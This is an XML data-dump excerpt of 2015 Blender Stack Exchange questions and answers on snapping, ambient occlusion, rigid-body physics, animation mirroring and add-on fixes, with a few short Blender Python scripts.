  <row Id="31722" PostTypeId="1" AcceptedAnswerId="31723" CreationDate="2015-05-30T16:54:26.907" Score="9" ViewCount="11005" Body="&lt;p&gt;Snap to face isn't working. After enabling it, I selected the face I want to snap to and pressed enter (which I think is supposed to be done) and my snap to bar on the bottom looks like this.&lt;img src=&quot;https://i.stack.imgur.com/vjjik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to move this vertex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MMWoH.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;but it ends up like this, even with snap on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jaIq6.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Help?&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="14351" LastEditDate="2015-05-30T18:23:44.220" LastActivityDate="2019-08-21T22:10:43.297" Title="Snap to face not working" Tags="&lt;snapping&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31723" PostTypeId="2" ParentId="31722" CreationDate="2015-05-30T17:36:28.063" Score="11" Body="&lt;p&gt;When set to &lt;em&gt;median&lt;/em&gt; and &lt;em&gt;face&lt;/em&gt; as target an objects median (center) will snap to a face.&#xA;This example shows how snapping works with different objects and snapping an edge of the same object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1UJN9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;em&gt;closest&lt;/em&gt; as snapping target then objects will snap to the top of the face.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Snapping doesn't work by pressing &lt;kbd&gt;Enter&lt;/kbd&gt; by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;&lt;em&gt;Face|Closest|Project individual elements on the surface of others&lt;/em&gt;&lt;/strong&gt; you can achieve the following results but you should press &lt;kbd&gt;g&lt;/kbd&gt; before pressing &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wa34M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1448" LastEditDate="2015-05-31T05:46:22.167" LastActivityDate="2015-05-31T05:46:22.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31724" PostTypeId="1" CreationDate="2015-05-30T17:39:15.410" Score="5" ViewCount="742" Body="&lt;p&gt;I am attempting to render a surface and it's AO shadow in a way where the darkest parts of the Ambient Occlusion remain, but the light portions are faded to alpha. What is the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I need the light gray in the image below to be replaced with alpha. Don't worry about the object casting the shadow, it is being protected by a mask. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/1ifLW.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14564" LastEditorUserId="12820" LastEditDate="2015-05-30T18:01:43.897" LastActivityDate="2015-05-30T18:01:43.897" Title="Rendering Ambient Occlusion onto alpha instead of white" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31725" PostTypeId="2" ParentId="31724" CreationDate="2015-05-30T17:45:22.197" Score="7" Body="&lt;p&gt;Just figured out my own question. It seems like the best way to do this is to Bake AO, then use a color ramp node to get rid of the white and adjust the transition. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/4zXBr.jpg&quot; alt=&quot;Show&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-05-30T17:45:22.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31726" PostTypeId="1" AcceptedAnswerId="31735" CreationDate="2015-05-30T18:20:22.410" Score="5" ViewCount="1375" Body="&lt;p&gt;When I use Rigid Body physics and the meshes intersect each other, like the picture, the chain breaks when simulation (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) is done. I use 'mesh' as collision shape and increased the solver iterations and steps per second. What could I do to make the chain not break when I do the simulation? Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Lsb2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jF1Q3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-30T22:30:11.773" Title="Intersected meshes make chain break" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31727" PostTypeId="1" CreationDate="2015-05-30T19:22:02.290" Score="4" ViewCount="5474" Body="&lt;p&gt;I am attempting to create a truncated icosahedron (soccer ball) as specified in a &lt;a href=&quot;https://www.youtube.com/watch?v=AYC69tt-KMI&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;. The tutorial shows this mesh being part of the Solids that are in Add-ons. Mesh&gt;Solids&gt;Archimedian&gt;Truncated Icosahedron (see screenshot at 1:06 in tutorial). When I enable my add-ons, I do not see the same ones that he does. He's using v2.68 and I'm using v2.74. Have I done something wrong, or has it changed between versions?&lt;/p&gt;&#xA;" OwnerUserId="14706" LastActivityDate="2015-05-31T05:05:40.267" Title="Truncated Icosahedron" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ClosedDate="2015-05-31T05:54:41.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="31728" PostTypeId="2" ParentId="31727" CreationDate="2015-05-30T19:38:17.147" Score="4" Body="&lt;p&gt;In Object Mode hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; shortcut to add a new object, and in the menu select &lt;em&gt;Mesh&gt;Icosphere&lt;/em&gt; with number of subdivisions set to 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cz8w1.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change to Edit Mode, select everything, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; shortcut to bevel the vertices and input 0.35 as the amount of bevel and hit &lt;kbd&gt;Enter&lt;/kbd&gt;, or in Bevel operator panel change amount type to Percent and change Amount to 33.333%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lklSF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4F3c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-30T22:12:54.443" LastActivityDate="2015-05-30T22:12:54.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31729" PostTypeId="1" CreationDate="2015-05-30T20:04:04.093" Score="4" ViewCount="842" Body="&lt;p&gt;How to create realistic blinking/shining stars in BGE? I recently heard that the blender team actually removed the stars option but not sure what or where I can get or see this action. My intent is to create a 3D space thats pure 100% black like space with dot-like-stars. The stars don't have to necessarily be super fancy or anything like Star Trek but you know, some regular old stars. So that whenever I press the P_Key to run my game in BGE i can see the stars surrounding my space ship but the stars should be at a distance in light years. I've tried some HDRI imaging but well... it didn't look so good it looks very pixelated and not high quality view. Another bad thing about using the HDRI imaging is that i have to use texture mode/view to see it which isn't bad but then i loose all visual colors of my space ship and other objects in my virtual space. &lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2021-03-12T09:05:45.450" Title="How to create realistic blinking/shining stars in BGE?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;interface&gt;&lt;image&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31730" PostTypeId="2" ParentId="28318" CreationDate="2015-05-30T20:21:45.130" Score="1" Body="&lt;p&gt;Download the the most recent version of blender or the version of blender of your choice and simply run the file. Blender doesn't necessarily convert files except for the fact that you can import/export them. Right now i am running Blender v2.74.5 and if I want to use a 2.6x blender file I can the only thing that will probably be different is the interface differences. So you may not have any idea how/what they set the settings/options to. &lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2015-05-30T20:21:45.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31731" PostTypeId="2" ParentId="31688" CreationDate="2015-05-30T20:36:36.623" Score="1" Body="&lt;p&gt;Well I think I might see your problem. If you are trying to view your textures through the 3D Viewport without the need to render the scene:&lt;/p&gt;&#xA;&lt;p&gt;There is a button that should have a white ball with up and down arrows on it aka &amp;quot;Viewport Shading&amp;quot; is its name and it sits to the right of &amp;quot;Object Mode&amp;quot; button in which that button also has up and down arrows on it. Here is a pic:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKUoc.png&quot; alt=&quot;Its a 3D View Bar&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The picture you see above is the editor or &amp;quot;3D View Editor&amp;quot;. Now in this picture you will see that white ball im talking about next to the &amp;quot;Object Mode&amp;quot; button. Now click that ball in your blender &amp;quot;3D View Editor&amp;quot; and set it from Solid to Texture or if that does not work set from Texture or Solid to Material. If all else fails then try and get a recent version of blender.&lt;/p&gt;&#xA;&lt;p&gt;Let me know if this does not help you in any way! :D&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-30T20:36:36.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31732" PostTypeId="2" ParentId="31397" CreationDate="2015-05-30T21:04:56.120" Score="0" Body="&lt;p&gt;That's not actually a problem and this is normal. Its not the camera but its probably the game trying to stretch itself to fit the screen completely. Also, try zooming in the &quot;3D Viewport&quot; in the camera until all those dotted lines (if you have seen them before) are gone once they disapear imediatelly stop zooming. Should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below has dotted lines but if I zoom in just until the dotted lines go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7XWO.png&quot; alt=&quot;Ugly dotted lines&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here thats what happens when you zoom in (look at the image below) the camera until the dotted lines disappear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DAtA.png&quot; alt=&quot;Awesome Non-lines&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep adjusting your zoom on camera or the cameras perspective and run the game and repeat this over and over until your Standalone looks a little bit better. Everyone goes through &quot;Trial and Error&quot; eventually we make it and it works :D.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2015-05-30T21:04:56.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31733" PostTypeId="1" CreationDate="2015-05-30T21:20:08.403" Score="2" ViewCount="505" Body="&lt;p&gt;I've been working on retopo tools. I have created polygon loops with &quot;bmesh.faces.new()&quot;. But i get a problem with face normal orientation. Some faces get inverted direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my test:&#xA;&lt;a href=&quot;http://youtu.be/AfsMQRLa7Zo&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/AfsMQRLa7Zo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code where i create faces:&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/4f3fec160c820dc66516a94ffa070261bafb9962/blender/addons/mira_tools/mi_curve_surfaces.py#L489-L501&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mifth/mifthtools/blob/4f3fec160c820dc66516a94ffa070261bafb9962/blender/addons/mira_tools/mi_curve_surfaces.py#L489-L501&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i added recalculation of normals &quot;bmesh.ops.recalc_face_normals()&quot;  but it did not help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if you have some ideas how to fix it. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-05-31T09:31:03.510" Title="Python: fix normal of a new polygon" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31734" PostTypeId="1" AcceptedAnswerId="31739" CreationDate="2015-05-30T22:15:28.707" Score="6" ViewCount="6454" Body="&lt;p&gt;I have an animation of my character holding a lamp with the right hand. I want to mirror this animation to get my character holding a lamp with the left hand. For each frame I can copy pose and paste it x-flipped. However, I've got many frames and it will take a long time to perform such operation for each frame. Is there any way to do it faster?&lt;/p&gt;&#xA;" OwnerUserId="14703" LastActivityDate="2020-03-27T23:41:38.560" Title="How to mirror an animation" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;mirror&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31735" PostTypeId="2" ParentId="31726" CreationDate="2015-05-30T22:30:11.773" Score="4" Body="&lt;p&gt;Since I had no luck with your file I created someting compareable.&#xA;Getting this working is tricky. You need to find balanced parameters most important are mass and sensitivty. &#xA;A mass of 100 is way to much and sensitivity should be &gt; 0, e.g. 0.01 (probably blender units).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V28am.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a mass of 1.0 the simulation breaks after 90 frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mfCVe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the mass of the second ring only is increased to 2 it works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/251/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=251&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-05-30T22:30:11.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31736" PostTypeId="2" ParentId="31698" CreationDate="2015-05-30T22:43:25.490" Score="2" Body="&lt;p&gt;This is my first draft at a solution.  When I re-import one of the exported meshes it looks good.  It is possible that someone else can find a better way to do it, and I welcome comments (and feel free to post a modified solution based on my code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/pose-sequence-to-fbx.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/pose-sequence-to-fbx.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def find_modifier_of_type(obj, type):&#xA;    for mod in obj.modifiers:&#xA;        if mod.type==type:&#xA;            return mod&#xA;    return None&#xA;&#xA;def duplicate_and_apply_armature(scn, src):&#xA;&#xA;    scn.objects.active = src&#xA;    for obj in scn.objects:&#xA;        obj.select = ( obj==src)&#xA;&#xA;    bpy.ops.object.duplicate(linked=False)&#xA;&#xA;    dup_obj = bpy.context.active_object&#xA;&#xA;    dup_obj.name = &quot;duplicate for %d&quot;%scn.frame_current&#xA;&#xA;    mod = find_modifier_of_type(dup_obj, 'ARMATURE')&#xA;&#xA;    bpy.ops.object.modifier_apply(modifier=mod.name)&#xA;&#xA;    return dup_obj&#xA;&#xA;&#xA;def find_pose_frames(obj):&#xA;&#xA;    frames = set()&#xA;&#xA;    mod = find_modifier_of_type(obj, 'ARMATURE')&#xA;    if mod is None:&#xA;        raise BaseException(&quot;active object does not have an ARMATURE modifier&quot;)&#xA;    arm = mod.object&#xA;&#xA;    action = arm.animation_data.action&#xA;    for fc in action.fcurves:&#xA;        if fc.data_path[:10] != &quot;pose.bones&quot;:&#xA;            # don't care about whatever this is&#xA;            continue&#xA;        for kp in fc.keyframe_points:&#xA;            frames.add(kp.co.x)&#xA;&#xA;    return sorted(frames)&#xA;&#xA;def mission1(scn, obj):&#xA;&#xA;    export_pattern = &quot;/tmp/cube-%d.fbx&quot;&#xA;    for fr in find_pose_frames(obj):&#xA;        scn.frame_set(fr)&#xA;        dup_obj = duplicate_and_apply_armature(scn, obj)&#xA;&#xA;        # this function has a LOT of flags, and I don't know what they all do.&#xA;        bpy.ops.export_scene.fbx(filepath=(export_pattern %scn.frame_current),  use_selection=True)&#xA;&#xA;        scn.objects.unlink(dup_obj)&#xA;&#xA;    scn.objects.active = obj&#xA;&#xA;&#xA;scn = bpy.context.scene&#xA;mission1(scn, bpy.context.active_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-30T22:43:25.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31737" PostTypeId="1" AcceptedAnswerId="31748" CreationDate="2015-05-30T23:38:51.333" Score="2" ViewCount="270" Body="&lt;p&gt;This question looked as if it were the answer, but when I tried to follow the answer, I didn't get the expected result.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/8856/how-do-i-join-two-separate-objects-so-i-can-edit-them-as-one-mesh&quot;&gt;How do I join two separate objects so I can edit them as one mesh?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what happened.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/y2aijftpztba4li/tori.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/y2aijftpztba4li/tori.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next step was to mark the inner vertices of the torii and add another face, and also add a face to the ends.  Would I have to then have to manually delete the interior parts of the object to create a manifold?&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-05-31T06:21:15.660" Title="How do you resurface these objects into one object?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31738" PostTypeId="1" AcceptedAnswerId="31750" CreationDate="2015-05-30T23:38:56.020" Score="5" ViewCount="4417" Body="&lt;p&gt;I downloaded Blur Weights addon, since it was made for blender 2.63 it is giving an error in blender 2.74 when trying to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4sIfH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejZRc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this error happens and how can it be fixed to make outdated addons to work with newer versions of blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addon &lt;a href=&quot;https://github.com/assumptionsoup/Blur-Weights&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-31T06:30:28.817" LastActivityDate="2017-06-03T20:08:16.143" Title="How to fix outdated internal index table in an addon" Tags="&lt;python&gt;&lt;add-on&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31739" PostTypeId="2" ParentId="31734" CreationDate="2015-05-31T00:09:42.657" Score="2" Body="&lt;p&gt;So after some googling and reading API I came up with a little script to automate the process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;bpy.ops.pose.select_all(action='SELECT')&#xA;&#xA;initial_keyframe = scn.frame_current&#xA;&#xA;scn.frame_set(0)&#xA;&#xA;while True:&#xA;    bpy.ops.anim.keyframe_insert()&#xA;&#xA;    if 'FINISHED' not in bpy.ops.screen.keyframe_jump(next=True):&#xA;        break&#xA;    else:&#xA;        # A hook to update bone positions after jump.&#xA;        # See http://blender.stackexchange.com/a/8534/14703&#xA;        scn.frame_set(scn.frame_current)&#xA;&#xA;scn.frame_set(0)&#xA;&#xA;while True:&#xA;    bpy.ops.pose.copy()&#xA;    bpy.ops.pose.paste(flipped=True)&#xA;    bpy.ops.anim.keyframe_insert()&#xA;&#xA;    if 'FINISHED' not in bpy.ops.screen.keyframe_jump(next=True):&#xA;        break&#xA;    else:&#xA;        scn.frame_set(scn.frame_current)&#xA;&#xA;scn.frame_set(initial_keyframe)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running this will x-flip all frames in the animation.&#xA;Unfortunately copying and pasting pose creates unwanted keyframes so you may want to clean up the result manually.&lt;/p&gt;&#xA;" OwnerUserId="14703" LastEditorUserId="14703" LastEditDate="2015-05-31T15:10:53.803" LastActivityDate="2015-05-31T15:10:53.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31740" PostTypeId="1" AcceptedAnswerId="31760" CreationDate="2015-05-31T00:20:29.040" Score="2" ViewCount="863" Body="&lt;p&gt;It seems that now I upgraded to Blender 2.74 this Mouse Cursor script no longer works.  I do not know Python but I think that there would be only little changes to be done.  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;controller = logic.getCurrentController()&#xA;own = controller.owner&#xA;&#xA;mouse = controller.sensors['mouse']&#xA;&#xA;hitPosition = mouse.hitPosition&#xA;&#xA;own.worldPosition.x = hitPosition.x&#xA;own.worldPosition.y = hitPosition.y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2015-09-30T17:33:24.100" Title="How to make this Mouse Cursor Script work in Blender 2.74? (BGE)" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31742" PostTypeId="1" CreationDate="2015-05-31T01:51:44.673" Score="1" ViewCount="99" Body="&lt;p&gt;I am learning blender.  I made a boolean operation as you can see in the screenshot.  Everything works fine and i can save and load back what i did properly as long as the cylinder object is not a child of the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the cylinder is a child of the cube, the boolean operation is not displayed after i save and reload that file.  Am i doing something wrong ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the cylinder to be a child of the cube so it always moves with it in translations.  If the cylinder is not a child of the cube, then everything works fine but it's not what i want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before closing blender, what i see when i save:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6ELQy.png&quot; alt=&quot;screenshot before closing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After opening blender and reloading the file i just saved:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/t2TIj.png&quot; alt=&quot;screenshot after loading&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14707" LastActivityDate="2015-06-06T00:07:43.610" Title="Boolean operation problem with child object after save / load" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31743" PostTypeId="1" CreationDate="2015-05-31T02:54:34.957" Score="2" ViewCount="1279" Body="&lt;p&gt;So I'm a bit new to Blender and I've ran into a bit of a problem.  I modeled out an object and imported the OBJ file, which grabbed the MTL automatically, which is awesome.  Now my problem is I noticed some issues on the MTL, coloring wise, and changed some stuff but I can't seem to get the changes to reflect in Blender.  Any help would be awesome, thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="14709" LastEditorUserId="14709" LastEditDate="2015-05-31T12:43:15.717" LastActivityDate="2015-05-31T12:43:15.717" Title="Changing an MTL on an OBJ file" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31744" PostTypeId="1" CreationDate="2015-05-31T03:54:38.003" Score="5" ViewCount="775" Body="&lt;p&gt;I know this has been asked already, but the answers, despite giving a certain degree of improvement give no satisfying solution for those who want extreme accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the array modifier for a loop/circuit as the path, is there any way to have ALL spaces (Including the one between first and last duplicate) to be the same distance apart, so that there isn't the typical inaccurately spaced gap/distance that occurs between the first and last duplicate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I was using a plain circle as a path, couldn't I click a theoretical option for example, lets call it &quot;Consistent Spacing&quot; that would divide into equally spaced sections as I increase the duplicate count, so if I have 3 pieces the path would be divided into 3 and the duplicates placed appropriately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason this matters so much is because of some very irregular paths that I need to have spaced accurately. One easier example would be accurately spaced tank tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is an easier way, or I'm underestimating/getting something wrong. If manual math is the only solution, are there any direct resources for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8sUfG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14710" LastEditorUserId="14710" LastEditDate="2015-06-22T10:28:16.153" LastActivityDate="2015-06-22T10:28:16.153" Title="Array Modifier - Equal space between all duplicates (Loops)" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31745" PostTypeId="1" CreationDate="2015-05-31T03:56:05.323" Score="3" ViewCount="1126" Body="&lt;p&gt;I understand that UDIM isn't really integrated yet (I'm on 2.74), but I'm wondering if anyone has found a solution to this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a character that's UV mapped onto 2 tiles (UDIM style I guess), one for face and one for body, and in Cycles I'm using a UDIM node group to correctly map the textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I haven't been able to find a way to view the textures correctly in 'textured' mode in the viewport. His facial texture is just mapped to his body. Note teeth and gums on his right shoulder :O It's not a huge bummer, but it does make all my preview renders look ridiculous :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried assigning the diffuse textures in BI mode to the corresponding faces, but haven't got that to work yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is a solution/workaround to get texures displaying correctly in viewport (they work in rendered mode of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iBfLJ.png&quot; alt=&quot;UV layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjIcT.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/szIe2.png&quot; alt=&quot;Viewport textured mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2021-05-13T09:08:35.837" Title="Textured viewport for UDIM material in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31746" PostTypeId="1" CreationDate="2015-05-31T04:21:15.483" Score="3" ViewCount="657" Body="&lt;p&gt;I know that Blender can use Network Render to send jobs to several computers, but when working on a Cycles Renderer file I often switched to &quot;Rendered&quot; viewport shading to view the result as I move or spin around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While somewhat viewable, I wish I can utilize other computer's (probably with good GPU) resource to iterate through samples faster in the same way as Network Render. Can I do this?&lt;/p&gt;&#xA;" OwnerUserId="14359" LastActivityDate="2015-05-31T08:56:47.090" Title="How can I use Network Render on viewport's &quot;Rendered&quot; mode?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
